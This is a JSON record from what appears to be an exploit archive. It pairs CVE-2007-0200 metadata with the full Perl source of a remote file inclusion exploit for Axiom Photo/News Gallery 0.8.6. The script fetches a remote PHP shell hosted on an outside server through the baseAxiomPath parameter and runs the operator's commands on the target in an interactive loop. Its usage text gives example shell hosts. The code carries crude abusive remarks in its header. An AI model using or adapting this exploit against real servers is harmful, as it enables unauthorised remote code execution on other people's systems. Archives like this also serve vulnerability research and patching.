{"exploit":{"id":"EDB-3108","name":"Axiom Photo/News Gallery 0.8.6 - Remote File Inclusion (RFI)","description":"Axiom Photo/News Gallery 0.8.6 - Remote File Inclusion (RFI)","cves":["CVE-2007-0200"],"author":"DeltahackingTEAM","published":"2007-01-09","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3108","path":"exploits/php/webapps/3108.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3108.pl","vulnerabilities":[{"id":"CVE-2007-0200","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in template.php in Geoffrey Golliher Axiom Photo/News Gallery (axiompng) 0.8.6 allows remote attackers to execute arbitrary PHP code via a URL in the baseAxiomPath parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0200","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0200"},"updatedAt":"2024-08-07T12:12:17.705Z","retrievedAt":"2026-11-26T16:08:31.261Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3108.png?v=2","url":"https://exploitbin.com/exploits/EDB-3108","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3108/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3108/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n##########################################################################################################\n#                                                                                                        #\n# Axiom 0.8.6 photo gallery (template.php)Remote File Include Vulnerability                              #\n#                                                                                                        #\n# Bug Found : DeltahackingTEAM discovery:Dr.Pantagon & Exploitet By Dr.Trojan                            #\n#                                                                                                        #\n# Class:  Remote File Include Vulnerability                                                              #\n#                                                                                                        #\n# exemplary Exp: http://www.site.com/template.php?baseAxiomPath=                                         #\n#                                                                                                        #\n# Remote: Yes                                                                                            #\n#                                                                                                        #\n# Type:   Highly critical                                                                                #\n#                                                                                                        #\n# Vulnerable Code:include_once($baseAxiomPath . \"/themes/sickphp/theme.php\");                            #\n#                                                                                                        #\n# Download:http://superb-west.dl.sourceforge.net/sourceforge/axiompng/Axiom-0.8.6.tar.gz                 #\n#                                                                                                        #\n# Ptach : www.Advistory.deltasecurity.ir                                                                 #\n#                                                                                                        #\n# Bug Found : DeltahackingTEAM Exploitet Discovered &Exploitet: Dr.Trojan<Delta.Secure[A]Gmail.com       #\n#                                                                                                        #\n# Exploit: Axiom.pl                                                                                      #\n#                                                                                                        #\n# Web Site:www.deltasecurity.ir <www.PersianWhois.com>                                                   #\n#                                                                                                        #\n#SP FUCK.............: z_zer0c00l(floozie Mother Test 100%=z_zer0c00l=misbegotten:D)                     #\n##########################################################################################################\n\nuse LWP::UserAgent;\nuse LWP::Simple;\n\n$target = @ARGV[0];\n$shellsite = @ARGV[1];\n$shellcmd = @ARGV[2];\n$file = \"template.php?baseAxiomPath=\";\n\nif(!$target || !$shellsite)\n{\n    usage();\n}\n\nheader();\n\nprint \"Type 'exit' to quit\";\nprint \"[cmd]\\$\";\n$cmd = <STDIN>;\n\nwhile ($cmd !~ \"exit\")\n{\n    $xpl = LWP::UserAgent->new() or die;\n        $req =\nHTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)\nor die(\"\\n\\n Failed to connect.\");\n        $res = $xpl->request($req);\n        $r = $res->content;\n        $r =~ tr/[\\n]/[&#234;]/;\n\n    if (@ARGV[4] eq \"-r\")\n    {\n        print $r;\n    }\n    elsif (@ARGV[5] eq \"-p\")\n    {\n    # if not working change cmd variable to null and apply patch manually.\n    $cmd = \"echo if(basename(__FILE__) == basename(\\$_SERVER['PHP_SELF'])) die(); >> list_last.inc\";\n    print q\n    {\n\n    }\n    }\n    else\n    {\n    print \"[cmd]\\$\";\n    $cmd = <STDIN>;\n    }\n}\n\nsub header()\n{\n    print q\n    {\n#################################################################################\n                                 Only Str0ke\n                        Bug Found : DeltahackingTEAM\n               Axiom.pl   - Remote File Include Exploit\n            Vulnerability discovered and exploitet by Dr.Trojan&Dr.Pantagon\n                          Delta.Secure@Gmail.com\n                www.DeltaSecurity.ir &  www.PersianWhois.com\n#################################################################################\n    };\n}\n\nsub usage()\n{\nheader();\n    print q\n    {\n########################################################################\nUsage:\nperl Yrch!.pl  <Target website> <Shell Location> <CMD Variable> <-r> <-p>\n<Target Website> - Path to target eg: www.lashiyane.org\n<Shell Location> - Path to shell eg: d4wood.by.ru/cmd.gif\n<CMD Variable> - Shell command variable name eg: Pwd\n<r> - Show output from shell\n<p> - template.php\nExample:\nperl Axiom.pl  http://localhost/include http://localhost/s.txt cmd -r -p\n########################################################################\n    };\nexit();\n}\n\n# Farzad.SHarifi\n\n# milw0rm.com [2007-01-09]","sha256":"b1994266b66f0a55da1e81f84845e2f0adeb1b2f63cac793e513840fbacb271c","bytes":5103,"fetchedAt":"2026-11-26T16:08:25.047Z","encoding":"utf-8 (display only; download retains original bytes)"}